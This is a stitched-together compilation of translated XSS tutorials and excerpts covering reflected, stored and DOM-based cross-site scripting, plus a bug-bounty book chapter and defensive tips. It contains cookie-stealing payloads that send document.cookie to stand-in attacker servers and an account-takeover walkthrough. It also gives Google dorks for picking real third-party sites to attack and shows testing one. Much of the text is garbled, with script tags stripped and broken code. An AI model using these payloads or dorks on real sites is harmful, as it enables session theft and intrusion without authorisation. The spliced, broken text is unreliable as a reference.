What is an xss attack? Example of a non-persistent XSS attack
Cross-site scripting (XSS) is a vulnerability that involves injecting client-side code (JavaScript) into a web page that other users are viewing.
The vulnerability is due to insufficient filtering of the data that the user submits for insertion into the web page. Much easier to understand concrete example. Remember any guest book- these are programs that are designed to accept data from the user and then display it. Let's imagine that the guest book does not check or filter the entered data in any way, but simply displays them.
You can sketch out your simplest script (there is nothing easier than writing bad scripts in PHP - a lot of people do this). But there are already plenty of ready-made options. For example, I suggest starting with Dojo and OWASP Mutillidae II. There is a similar example there. In a standalone Dojo environment, go to this link in your browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
If one of the users entered:
The web page will then display:
Hello! I like your site.
And if the user enters this:
Hello! I like your site.alert("Pwned")
Then it will be displayed like this:
Browsers store many cookies large quantity sites. Each site can only receive cookies saved by itself. For example, example.com has stored some cookies in your browser. If you visit another.com, this site (client and server scripts) cannot access the cookies that example.com has stored.
If example.com is vulnerable to XSS, this means that we can somehow inject JavaScript code into it, and that code will be executed on behalf of example.com! Those. This code will, for example, access the cookies of example.com.
I think everyone remembers that JavaScript is executed in user browsers, i.e. with XSS injected malicious code gains access to the data of the user who opened the website page.
The embedded code can do everything that JavaScript can do, namely:
- gains access to the cookies of the website you are viewing
- can make any changes to the appearance of the page
- accesses the clipboard
- can implement JavaScript programs, for example, keyloggers (keystroke interceptors)
- pick up on BeEF
- etc.
The simplest example with cookies:
alert(document.cookie)
In fact, alert is only used to detect XSS. The actual malicious payload carries out hidden actions. She secretly contacts remote server attacker and transfers stolen data to him.
Types of XSSThe most important thing to understand about the types of XSS is that they are:
- Stored (Permanent)
- Reflected (Fickle)
Example of constants:
- A specially crafted message entered by the attacker into the guest book (comment, forum message, profile), which is saved on the server, is downloaded from the server every time users request to display this page.
- The attacker gained access to server data, for example, through SQL injection, and introduced malicious JavaScript code (with keyloggers or BeEF) into the data provided to the user.
Example of non-permanent ones:
- There is a search on the site that, along with the search results, shows something like “You searched for: [search string]”, and the data is not filtered properly. Since such a page is displayed only to the person who has a link to it, the attack will not work until the attacker sends the link to other users of the site. Instead of sending a link to the victim, you can use the placement of a malicious script on a neutral site that the victim visits.
They are also isolated (some as a type of non-permanent XSS vulnerabilities, some say that this type may be a type of persistent XSS):
- DOM models
To put it very simply, we can see the malicious code of “regular” non-persistent XSS if we open the HTML code. For example, the link is formed like this:
Http://example.com/search.php?q="/>alert(1)
And when we open the source HTML code, we see something like this:
alert(1)" /> Find
And DOM XSS changes the DOM structure, which is formed in the browser on the fly, and we can only see malicious code when viewing the generated DOM structure. The HTML does not change. Let's take this code as an example:
site:::DOM XSS An error occurred... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Your session ID was: " + display_session + "
")
Then in the browser we will see:
Page source code:
Let's form the address like this:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Now the page looks like this:
But let's take a look at the HTML source code:
Nothing has changed there at all. This is what I was talking about, we need to look at the DOM structure of the document to identify malicious code:
Here is a working XSS prototype, for a real attack we need a more complex payload, which is not possible due to the fact that the application stops reading right after the semicolon, and something like alert(1);alert(2) is no longer possible. However, thanks to unescape() we can use a payload like this in the return data:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Where we replaced the symbol ; to the URI-encoded equivalent!
We can now write a malicious JavaScript payload and compose a link to send to the victim, as is done for standard non-persistent cross-site scripting.
XSS AuditorIN Google Chrome(and also in Opera, which now uses the Google Chrome engine), this surprise awaited me:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.
Those. the browser now has an XSS auditor that will try to prevent XSS. Firefox doesn't have this functionality yet, but I think it's a matter of time. If the implementation in browsers is successful, then we can talk about a significant difficulty in using XSS.
It's good to remember that modern browsers are taking steps to limit the level of exploitative problems like non-persistent XSS and DOM-based XSS. This is also something to remember when testing websites using a browser - it may well turn out that the web application is vulnerable, but you do not see the pop-up confirmation only because the browser is blocking it.
XSS exploitation examplesAttackers intending to exploit cross-site scripting vulnerabilities must approach each vulnerability class differently. The attack vectors for each class are described here.
For XSS vulnerabilities, attacks can use BeEF, which extends the attack from the website to the users' local environment.
Example of a non-persistent XSS attack
1. Alice frequently visits a certain website hosted by Bob. Bob's website allows Alice to log in with a username/password and store sensitive data such as payment information. When a user logs in, the browser stores authorization cookies, which look like meaningless characters, i.e. both computers (client and server) remember that she entered.
2. Mallory notes that Bob's website contains a non-persistent XSS vulnerability:
2.1 When you visit the search page, enter the search string and click on the submit button, if no results are found, the page displays the entered search string followed by the words “not found” and the url looks like http://bobssite.org?q= her search query
2.2 With a normal search query like the word "dogs", the page simply displays "no dogs found" and the url http://bobssite.org?q=dogs, which is completely normal behavior.
2.3 However, when an anomalous search query like alert("xss"); :
2.3.1 A warning message appears (which says "xss").
2.3.2 The page displays alert("xss"); not found along with an error message with the text "xss".
2.3.3 url suitable for exploitation http://bobssite.org?q=alert("xss");
3. Mallory constructs a URL to exploit the vulnerability:
3.1 She makes the URL http://bobssite.org?q=puppies. She can choose to convert ASCII characters to a hexadecimal format such as http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E to prevent people from immediately decrypting malicious URL.
3.2 She emails some unsuspecting members of Bob's site saying, "Check out the cool dogs."
4. Alice receives a letter. She loves dogs and clicks on the link. She goes to Bob’s site in the search, she doesn’t find anything, “no dog found” is displayed there, and in the very middle a tag with a script is launched (it is invisible on the screen), downloads and executes Malory’s authstealer.js program (triggering an XSS attack). Alice forgets about it.
5. The authstealer.js program runs in Alice's browser as if it originated from Bob's website. She grabs a copy of Alice's authorization cookies and sends them to Malory's server, where Malory retrieves them.
7. Now that Malorie is inside, she goes to the payment section of the website, looks and steals a copy of the number credit card Alice. Then she goes and changes the password, i.e. Now Alice can't even come in anymore.
8. She decides to take the next step and sends the link constructed in this way to Bob himself, and thus receives administrative privileges for Bob's site.
Persistent XSS attack
Dorks for XSS
The first step is to select the sites on which we will perform XSS attacks. Sites can be searched using Google dorks. Here are a few of these dorks that you can copy and paste into a Google search:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
A list of sites will open in front of us. You need to open the site and find input fields on it, such as a feedback form, input form, site search, etc.
Let me note right away that it is almost useless to look for vulnerabilities in popular automatically updated web applications. A classic example of such an application is WordPress. In fact, there are vulnerabilities in WordPress, and especially in its plugins. Moreover, there are many sites that do not update either WordPress engine(due to the fact that the webmaster made some changes to the source code), nor plugins and themes (as a rule, these are pirated plugins and themes). But if you read this section and learn something new from it, then WordPress is not for you yet... We will definitely return to it later.
The best goals are a variety of self-written engines and scripts.
You can select the insert payload as
alert(1)
Pay attention to which HTML code tags your embedded code falls into. Here is an example of a typical input field:
alert(1)
Our payload will end up where the word "pillowcase" is now. Those. turn into the value of the input tag. We can avoid this - we'll close it double quote, and then the tag itself using "/>
"/>alert(1)
Let's try it for some site:
Great, there is a vulnerability
Probably all web application scanners have a built-in XSS vulnerability scanner. This topic is not comprehensive; it is better to get acquainted with each similar scanner separately.
There are also specialized tools for scanning for XSS vulnerabilities. Among them we can especially highlight.
Original: Securing Apache, Part 2: XSS InjectionsAuthor: Arpit Bajpai
Date of publication: September 1, 2010
Translation: A. Panin
Translation date: January 5, 2013
In the previous article in the series, we began discussing aspects of safe operation Apache web server from a consideration of its architecture. After that, we started looking at web application defects, starting with SQL injections. In this article, we'll move on to the next category of injection defects: cross-site scripting, known by the acronym "XSS". I will repeat my words that neither I nor LFY magazine set out to teach readers how to attack servers; this information is provided to provide necessary knowledge to protect infrastructure.
Application vulnerabilities to cross-site scripting (XSS) attacks hold the second position on OWASP's list of the top ten web application security risks, behind vulnerabilities to SQL injection attacks. (By the way, the first letter of the abbreviation "X" is used to avoid confusion between the concept of cross-site scripting and the concept of cascading style sheets "CSS".) The security consortium reports that XSS vulnerabilities account for about 39 percent of all vulnerabilities web applications.
What is meant by cross-site scripting?The OWASP consortium defines XSS as a defect in which an application includes data sent to the user in the page sent to the user without first checking or formatting it. XSS attacks are actually code injection attacks that affect how a web application interprets the page sent by a web application in the user's browser.
These attacks are mostly conducted within online messaging systems, blogs, and user forums (collectively referred to as "online messaging systems" in this article), in which messages are stored on on an ongoing basis. When creating them, they are used HTML technologies, JavaScript, VBScript, ActiveX, Flash and other client-side scripting technologies.
The goal of cross-site scripting attacks is to steal user authentication data from cookies and any other important information, which is involved in the client authentication process on the website. With a stolen (real) user ID, an attacker can pose as the user and steal his data.
Unlike most attacks that involve two parties (an attacker and a website, or an attacker and a victim/client), a cross-site scripting attack involves three parties: the attacker, the victim/client, and the website.
In a cross-site scripting attack, an actual user is presented with a link located in an online messaging system that leads to a seemingly benign website, but which actually contains an encoded script that is executed as soon as the user clicks on it. This seemingly benign website could be (and is in most cases) a clone of the site the user is viewing to carry out a phishing attack; in this case it will ask for username and password. In another case, this website could be a thank you page that stealthily steals the user's cookies. background.
| Phishing is an Internet attack technique in which a user enters sensitive information (such as a name and password) into a website created by an attacker that almost completely copies the appearance of a website that the user trusts. The user is directed to such sites via links from mass-sent messages via email, systems instant messages, etc. Most of these attacks can be ignored by carefully checking links and refusing to follow dubious links; you should also check the URL string ( address bar) browser to ensure you are visiting a trusted site before entering your credentials. |
Exploit code for cross-site scripting attacks is usually (but not always) written using HTML/JavaScript to be executed in the victim's browser. The server is used only to store malicious code. The hacker uses only trusted websites as attack sites.
Typical cross-site scripting attacks are the result of flaws in server-side web applications and involve insufficient processing of user input in terms of removing control elements. HTML characters. If attackers manage to insert arbitrary HTML code, they can control the execution of a page with the rights set for the site. Common places where hackers can launch attacks are "confirmation" or "results" pages (an example is search engines, displaying a user request) or error pages for forms that help users fill out form fields with correctly entered data.
Next simplest PHP page Vulnerable to XSS attacks!
As soon as the page containing this code is accessed, the variable passed using the GET method (query string) is output unchanged to the page generated by PHP help. If you pass valid data (such as the string "Arpit Bajpai") as an argument, the URL will look like this: http://localhost/hello.php?name=Arpit%20Bajpai (assuming you are using a server installed by on your computer, which is worth doing to test these examples). The output of this query is safe and is shown in Figure 1.
Figure 1: Secure transfer data
Now let's do a little manipulation of the URL by changing it as follows: http://localhost/hello.php?name= Hacked .
The result is shown in Figure 2. It still appears harmless, but the fact that the input data is not checked by the PHP script before being sent to the user's browser suggests that it is possible to insert more dangerous code into the vulnerable page.
Figure 2: Raw output
As in most cases, main goal An XSS attack is the theft of cookies containing user identification data. Below is a classic example of an attempt to launch an attack by placing malicious JavaScript code in the online reporting system and data collection from user cookies. document.location="http://attackerserver/cookie.php?c="+document.cookie
When victims click on a link containing this malicious code, they are taken to the home page, but the data from their cookies is sent to a special script on PHP language, cookie.php, intended for assembling cookies and located on the attacker’s server. The standard script code for assembling cookies should be similar to the one below:
During the operation of this script, data is stored in the cookies.html file, including the victim’s IP address, the date and time the data was received from the cookies, and the address of the page from which the malicious link was clicked, pointing to the cookie.php script.
Using this information, the attacker can subsequently go to the online messaging system website and use the obtained cookie data, which will allow him to pose as the user who was the victim of the attack.
On at this stage Savvy users may be suspicious of a link to the home page or suspect something is wrong based on the fact that the link is not part of the web application's ability to function properly. To attack such users, attackers in most cases prefer to use the IFRAME tag in scripts in a manner similar to the one shown below:
When the victim clicks on the link with the given code located in the message, nothing unusual happens - although the cookie data is transferred to the cookie.php script on the attacker's server. This is the operating principle of classic attacks based on cross-site scripting.
Types of XSS VulnerabilitiesMost XSS vulnerabilities can be divided into three categories based on how attackers bypass a web application's processing of malicious code. These categories:
- Persistent or stored vulnerabilities
- Non-persistent or reflected vulnerabilities
- DOM vulnerabilities or local vulnerabilities
Let's look at each category in turn.
Persistent or stored vulnerabilities
Persistent XSS vulnerabilities are the most powerful and effective of all. They are present if the data transmitted to the web application by the user is first placed in permanent storage on the server (in a database, file system or other storage) and then displayed to users as a web page without proper processing.
The online messaging system attack scenario below is a classic example of this situation. An attack pattern based on a persistent vulnerability is shown in Figure 3.
Figure 3: Attack pattern using persistent vulnerability
At the beginning of the attack, the attacker injects a malicious script using a web-based data entry form. After this, the embedded code is saved in the server database. When any user opens the page, the malicious code is executed. Any user who clicks on a link (or simply views a message in the case of an IFRAME tag attack) becomes a victim of the attack as the malicious code executes in their browser and sends their authentication credentials to the attacker.
This type of attack is very effective because the attacker can attack a number of server users - all those who follow a link or view a message.
Non-persistent or reflected vulnerabilities
Non-persistent XSS vulnerabilities are at the moment most exploited. This type of XSS vulnerability most often occurs because scripts during document generation HTML format display user data without additional processing.
For example, an attacker finds an XSS vulnerability in a web application in which the script displays the sent request along with the result of its execution. Typically the site URL used when making a request is as follows: http://www.example.com/search.php?query=products. Under normal circumstances, this request will respond with a list of available products. Once attackers find a vulnerability, they can send a modified link (with changed values of known variables) to the victim of the attack, with the goal of stealing authentication data: http://www.example.com/search.php?query=alert(document.cookie) .
Clicking on this link will cause the attack victim’s browser to display a message window with cookie data. The above example is safe: an attacker can do much more damage by stealing passwords, changing the address home page or by moving the attack victim to another website using modified JavaScript code.
An attack pattern based on a reflected vulnerability is shown in Figure 4.
Figure 4: Step-by-step illustration of the reflection attack process
These days, embedding such lengthy scripts into link code can attract the attention of potential attack victims, so attackers simply convert them to hexadecimal format using the many available converters, such as the one provided at http://code.cside.com/3rdpage/us /url/converter.html . Moreover, if the malicious script is large enough, URL shortening services such as Tiny URL are used, and a short URL is then created to point to the long one.
DOM vulnerabilities or local vulnerabilities
DOM vulnerabilities exist in a site's HTML code (in static scripts) and can be exploited intermittently. A simple example of a DOM vulnerability is a static script embedded in a page that, when executed, uses a DOM function such as document.write to print the value of the pos variable.
The only difference between a DOM vulnerability and other types is that the server does not return query results; on the contrary, local data processing occurs using DOM functions and the malicious script is executed with the same rights as the web browser on the victim’s machine. Imagine a situation in which a vulnerable site contains the following page (with a name, for example, http://www.example.com/welcome.html): var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our site...
Under normal circumstances, this page will display a welcome message to the user when they navigate to the following URL: http://www.example.com/welcome.html?name=Joe .
However, slight tampering with the URL will cause the user's cookie data to be displayed in the browser's warning window if they click on the following link: http://www.example.com/welcome.html?name=alert(document.cookie) .
When this link is opened, the user's browser sends an HTTP request to a site named www.example.com. In response he receives static HTML page with the content presented above. After this, the victim's browser starts HTML conversion in DOM. In this case, the code references the document.URL variable, so part of the query string is saved when the HTML is parsed. After this, malicious JavaScript code transmitted as part of the URL is executed in the context of the page, which allows an XSS attack to be carried out.
You should understand that the entire request reaches the server (in the HTTP request line), so this type of XSS attack, like any other, can be identified - but attackers even provide for this possibility by forming the request in the following form: http: //www.example.com/welcome.html#name=alert(document.cookie) .
Please note that the hash symbol (#) is used in this case; it tells the browser that the data after this character is a fragment and is not part of the request. IE (6.0) and Mozilla browsers do not send the fragment to the server, so if these browsers are used, the server will only receive the following part of the request: http://www.example.com/welcome.html, and the rest of the data will be hidden.
XSS Attack TrendsXSS attacks using meta information (miXSS)
This new type XSS vulnerabilities, which appeared recently and exploit vulnerabilities in network administration utilities. This vulnerability can be found in the code of servers that use valid user requests to collect data and display it to the user. Cross-site scripting attacks are carried out using this data. In this case, hackers can obtain information about network administration utilities. Websites that allow DNS resolution and websites that check SPF records are most susceptible to miXSS attacks. To find out more this type attacks, see the list of additional resources at the end of the article.
XSS Shell
XSS Shell is a tool for establishing an XSS channel between the attack victim and the attacker, where the attacker can control the browser using commands. Data exchange is two-way.
XSS Tunnel
This is an open source program source code on .NET, distributed under GPL license and is a regular HTTP proxy running on the attacker’s system. It allows HTTP traffic to be passed through a tunnel as an XSS feed and can theoretically be used with any application that runs an HTTP proxy.
DDoS attacks using XSS
XSS attack trends indicate that attackers are using vulnerable sites as an initial step in launching distributed denial of service attacks. They offer users to download and install browser add-ons. When a user clicks on a link, along with a browser add-on, malware in the form of a worm or bot is installed on their system (in most cases) in the background. This software can give an attacker unlimited rights to user system, so an attacker could use the system to launch denial-of-service attacks or build a botnet.
Counteracting XSS attacksCross-site scripting attacks are potentially dangerous for most web servers and browsers. Hackers are constantly inventing new types of attacks, but the following steps can help you protect your systems from these attacks.
Events for clients or users
All emails containing long, lengthy or suspicious links should be seriously and carefully considered. You should not click on these links, even if they lead to well-known sites that you trust. Many of these messages use various tricks to convince you to click on a link. Some messages contain suggestions to improve your financial condition and independence; other messages contain warnings that you may lose your account(valid) on the website unless you “immediately confirm your username and password information.” Please think seriously before clicking on such links, especially given the information you have gleaned from this article. Obviously, the same precautions should be taken with regard to messages on online messaging systems and social networks.
Modern browser versions Mozilla Firefox safe enough. For example, Firefox automatically encodes characters< и >(in the sequence %3C and %3E, respectively) in the document.URL parameter when the URL is not entered directly into the address bar. Thus, this browser not vulnerable to attacks using the DOM. To make your browser more secure, you should also install add-ons (extensions), such as NoScript, FlashBlock, and the Netcraft toolbar.
You can also try Google browser Chrome, which has built-in protection against XSS attacks.
If you have a questionable link and want to follow it without using Firefox browser with the NoScript extension, you'll need to disable JavaScript, Java (and Active X if you're on Windows) before proceeding. You can also follow the link by manually entering it into the address bar of your browser.
If you used a URL shortening service to create the link, such as "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", etc., be careful. You can even install a second browser to visit "untrusted" sites; Do not access trusted or important sites using this browser, and only use it to click on suspicious links. If an attack is actually carried out using the URL, and even if it is successful, the attacker will have virtually no important information from the cookies.
For developers
The best way to test your website for vulnerabilities is to run security tests on a local copy of the web application you are using. The best free project for this purpose is Nikto.
The next important step is to filter all suspicious data based on the HTML context (body, attribute, JavaScript, CSS or URL) in which it will be placed. Developers should organize this function in your applications. Refer to OWASP's XSS Attack Prevention Cheat Sheet for detailed information about data filtering techniques.
Filtering script output also helps mitigate XSS vulnerabilities by preventing specially crafted sequences from being sent to the user. When filtering dynamically generated pages, select the set of characters that are safe to use, rather than trying to eliminate the set of characters that may be unsafe to use. The first option is preferable because it is usually not known whether there are other combinations of characters or character sequences that allow other vulnerabilities to be exploited.
Check all headers, cookies, query strings, forms, hidden fields and more possible parameters for the presence of tags such as , , , and . Also, do not output any entered values without filtering.
Do not store passwords or other data in cookies without encryption or using a weak encryption algorithm. Simply hashing a password using the MD5 algorithm is not secure because the hash is only 16 bytes long and can be decrypted using brute force.
If possible and feasible, the authentication data in the cookie should be associated with the client's IP address. Finding identical cookie data sent from a different IP address should be considered an attack attempt.
If possible, remove the option to use a single authentication system and enable the system repeated checks passwords to prevent session hijacking attacks. An attack against a site with a single authentication system has a high chance of going unnoticed by the user.
The use of free hosting is the main step when an attacker implements an attack scheme. Site staff free hosting should be more vigilant about who is using their services and should block suspicious IP addresses. Also, if the hosting uses scripts to collect data from cookies, monitoring should be carried out to detect such actions.
Cookies sent over HTTPS are not scriptable using the document.cookie property, so try to only send cookies over HTTPS. Also try to use for submitting forms POST method instead of GET.
Tools- Dotdefender is a web application protection tool that blocks attacks that modify HTTP request logic. It provides superior protection against SQL injection, cross-site scripting, and header interference attacks. Refer to the documentation located.
- KeepNI notifies you immediately if your website is not working properly. This tool is designed for constant correct operation your website. Refer to the documentation located.
- Screens for web applications allow you to check for incorrect data entered and modify read-only parameters, as well as block requests and filter parameters. Their biggest advantage is that they help protect legacy, insecure applications.
Since XSS attacks require user interaction, their incidence is directly dependent on the extreme care of users. For more information about XSS attacks and how to protect against them, be sure to review the additional resources section below. We will cover other dangerous types of attacks against web applications and Apache in the next article. Meanwhile, you can leave your questions and constructive criticism in the comments section below.
Always remember: you need to know everything about hacking, not not do it.
Additional resources:
- One of best resources with information about XSS attacks xssed.com
- The book "Syngres XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert "Rsnake" Hansen and others" is a must read for those who are really interested in this type of attack
Cross-site scripting, or Cross site scripting, or XSS, assumes the presence of a site connecting an unintended Javascript code, which in turn is transmitted to users who execute this code in their browsers. A harmless example of XSS (which is exactly what you should use!) looks like this:
alert('XSS');
This will call the Javascript alert function and create a simple (and harmless) box with the letters XSS. In previous versions of the book, I recommended that you use this example when writing reports. That is, until one extremely successful hacker told me that it was a “horrible example,” explaining that the recipient of a vulnerability report might not realize the severity of the problem and, because the example was harmless, would pay out a small reward.
So, use this example to detect an XSS vulnerability, but when writing the report, think about the potential harm that the vulnerability could cause and explain it. By this I don't mean telling the company what XSS is, but rather explaining what you can achieve by exploiting the vulnerability and how it could specifically impact their site.
There are three various types XSS you may have heard about while researching and reporting:
- Reflective XSS: These attacks are not stored on the site, meaning the XSS is generated and executed in a single request and response.
- Stored XSS: These attacks are stored on the site and are often more dangerous. They are stored on the server and executed on “normal” pages by unsuspecting users.
- Self XSS: These attacks are also not stored on the site and are usually used as part of tricking a person into running XSS themselves. When you look for vulnerabilities, you will find that companies often don't care about eliminating Self XSS, they only care about cases where harm to their users may come from someone other than themselves, as is the case with Reflective and Stored XSS. However, this does not mean that you should not look for Self XSS.
If you find a situation where Self XSS can be executed but not saved, think about how this vulnerability could be exploited, can you use it in combination with something so that it is no longer Self XSS?
One of the most famous examples of using XSS is MySpace Samy Work, done by Samy Kamkar. In October 2005, Sami exploited a stored XSS vulnerability in MySpace, which allowed him to upload Javascript code that was executed every time someone visited his MySpace page, adding the page visitor as a friend of Sami's profile. Moreover, the code also copied itself to the pages of Samy's new friends so that the profiles of his new friends were updated with the following text: “but most of all, samy is my hero.”
Although Sami's example was relatively harmless, using XSS allows one to steal logins, passwords, banking information, and so on. Despite the potential harm, fixing XSS vulnerabilities is generally not difficult and requires developers to simply escape user input (just like HTML injection) when rendering it. Although, some sites also remove potentially malicious characters when the hacker sends them.
1. Shopify SaleDifficulty: Low
Url: wholesale.shopify.com
Report link: https://hackerone.com/reports/10629326 Report date: December 21, 2015
Reward Paid: $500
Description:
The Shopify27 sale site is a simple page with a direct call to action - enter the product name and click “Find Products”. Here's a screenshot:
Screenshot of the wholesale sales site
The XSS vulnerability here was the simplest one you can find - text entered into search bar was not escaped, so any Javascript entered was executed. Here is the sent text from the vulnerability description: test’;alert(‘XSS’);’
The reason this worked is because Shopify took user input, executed the search query, and if there were no results, printed a message saying there were no search results for the search term entered, showing the unescaped user input on the page. As a result, the submitted Javascript was rendered on the page and browsers interpreted it as executable Javascript.
ConclusionsTest everything, paying special attention to situations where the entered text is rendered on the page. Test whether you can include HTML or Javascript in your input and see how the site processes it. Also try encoding the input similar to what is described in the chapter on HTML injections.
XSS vulnerabilities don't have to be complex or confusing. This vulnerability was the simplest one imaginable - a simple text input field that does not process user input. And it was discovered on December 21, 2015, and brought the hacker $500! All it took was hacker thinking.
2. Cart gift cards ShopifyDifficulty: Low
Url: hardware.shopify.com/cart
Report link: https://hackerone.com/reports/9508928 Report date: October 21, 2015
Reward Paid: $500
Description:
The Shopify29 gift card store website allows users to create their own gift card designs using an HTML form that includes a file upload box, a few lines for text entry for details, and so on. Here's a screenshot:
Screenshot of Shopify gift card store form
The XSS vulnerability here was triggered when Javascript was entered into the form field intended for the image title. This is quite easy to do using HTML proxies, which we will talk about later in the “Tools” chapter. So the original form submission included:
Content - Disposition : form - data ; name = "properties [Artwor 2 k file]" |
It could be intercepted and changed to:
Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”; |
There are two things to note here that will help you detect XSS vulnerabilities.
Article \"Securing Websites\" provided by Sophos Plc and SophosLabs.
December 2007
This type of attack is aimed at websites that display user-entered data. Instead of trying to gain control of the database by injecting malicious code, the attacker tries to attack the code of the website itself by injecting malicious segments into it.
Many sites store the names of all visitors in a database so that they can be displayed when the corresponding users enter. An attacker can create a fake account by placing malicious code in the name field. Such attacks are usually implemented using malicious scripts on Javascript language, which then download content from another website. The database is supposed to store the username, but in fact in this case it will be malicious code. Accordingly, if a website displays the user's name at the top of the page, then this code will be executed. Since such code can do almost anything under certain conditions, the threat becomes very real; however, developers often forget about it. For lately Many popular websites have become victims of XSS attacks, including MySpace, Facebook, Google Mail, and VKontakte.
Note.
Consider the following PHP code:
$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";
After you enter your name in the web form, the site displays a corresponding message on the page. If you enter the name “Chris” in the form, the message will look like this: “Your name: Chris”.
What happens if instead of a name you enter the following construction: “alert (“You just got hacked!” ) ;" ?
Unfortunately, XSS attacks are often difficult to counter because they require proper filtering of input and output data, as well as any fields that can be changed by users. This includes data obtained from GET requests and POST, as well as requests returned from the database.
PHP has a whole series packages that help filter output, such as CodeIgniter. PHP also has a built-in function, htmlspecialchars, which can be used to filter output.
Cross-site scripting (XSS for short) is a widespread vulnerability affecting many web applications. It allows an attacker to inject malicious code into a website in such a way that the browser of a user visiting the site will execute the code.
Typically, exploiting such a vulnerability requires some interaction with the user: either they are lured to an infected site using social engineering, or they simply wait for the user to visit the site. Therefore, developers often do not take XSS vulnerabilities seriously.
But if left unaddressed, they can pose a serious security risk.
Let's imagine that we are in a panel WordPress admin, add new content. If we use an XSS-vulnerable plugin for this, it can force the browser to create a new administrator, modify the content, and perform other malicious actions. Cross-site scripting gives an attacker almost complete control over the most important piece of software these days - the browser.
XSS: Injection VulnerabilityAny website or application has several places for data entry - form fields up to the URL itself. The simplest example of data entry is when we enter a username and password into a form:
Our name will be stored in the site's database for subsequent interactions with us. Surely, when you logged in to any website, you saw personal greeting in the style of “Welcome, Ilya.”
It is for such purposes that usernames are stored in the database.
An injection is a procedure where, instead of a username or password, a special sequence of characters is entered, forcing the server or browser to respond in a certain way desired by the attacker.
Cross-site scripting is an injection that injects code that will perform actions in the browser on behalf of a website. This can happen either with notification to the user or in the background, without his knowledge. 
A reflected XSS attack is triggered when a user clicks on a specially crafted link.
These vulnerabilities occur when data provided by the web client, most often in HTTP request parameters or HTML form, are executed directly by server scripts for parsing and displaying a results page for that client without proper processing.
Stored (persistent).Stored XSS is possible when an attacker manages to inject malicious code into the server that is executed in the browser every time a request is made. original page. A classic example of this vulnerability is forums that allow HTML comments.
Vulnerabilities caused by client-side code (JavaScript, Visual Basic, Flash, etc.): Also known as DOMs: Reflected (non-persistent).The same as in the case of the server side, only in this case the attack is possible due to the fact that the code is processed by the browser.
Stored (persistent).Similar to server-side stored XSS, only in this case the malicious component is stored on the client side using browser storage.
Examples of XSS vulnerabilities.Interestingly, in most cases where this vulnerability is described, we are scared with the following code:
Http://www.site.com/page.php?var=alert("xss");
There are two XSS type vulnerabilities - passive and active.
Active vulnerability is more dangerous, since the attacker does not need to lure the victim using a special link; he just needs to inject the code into the database or some file on the server. Thus, all site visitors automatically become victims. It can be integrated, for example, using SQL injection. Therefore, you should not trust the data stored in the database, even if it was processed during insertion.
Example passive vulnerability You can see it at the very beginning of the article. I already need it here social engineering, for example, an important letter from the site administration asking you to check your account settings after restoring from a backup. Accordingly, you need to know the victim’s address or simply arrange a spam mailing or post on some forum, and it’s not a fact that the victims will be naive and follow your link.
Moreover, both POST and GET parameters can be susceptible to passive vulnerability. With POST parameters, of course, you will have to resort to tricks. For example, a redirect from an attacker’s website.
document.getElementsByTagName("form").submit();
Therefore, GET vulnerability is a little more dangerous, because... it is easier for a victim to notice an incorrect domain than additional parameter(although the url can generally be encoded).
Stealing CookiesThis is the most commonly cited example of an XSS attack. Websites sometimes store some kind of information in Cookies valuable information(sometimes even the username and password (or its hash) of the user), but the most dangerous thing is the theft of an active session, so don’t forget to click the “Logout” link on sites, even if it home computer. Fortunately, on most resources the session lifetime is limited.
Var img = new Image(); img.srс = "http://site/xss.php?" + document.cookie;
That's why they introduced domain restrictions on XMLHttpRequest, but this is not a problem for an attacker, since there is, , , background:url(); etc.
We look for the form through, for example, getElementById and monitor the onsubmit event. Now, before submitting the form, the entered data is also sent to the attacker’s server.
This type of attack is somewhat reminiscent of phishing, only it uses a real site rather than a fake one, which instills more trust in the victim.
DDoS attack (distributed denial of service attack)An XSS vulnerability on heavily visited resources can be used to launch a DDoS attack. The essence is simple - there are many requests that the attacked server cannot withstand.
Actually, the relation to XSS is indirect, since scripts may not be used at all, a construction like this is enough:
How can you protect your site from XSS? How to check your code for vulnerabilities? There are technologies like Sucuri Firewall that are specifically designed to avoid such attacks. But if you're a developer, you'll definitely want to learn more about how to identify and mitigate XSS vulnerabilities.
We'll talk about this in the next part of the article on XSS.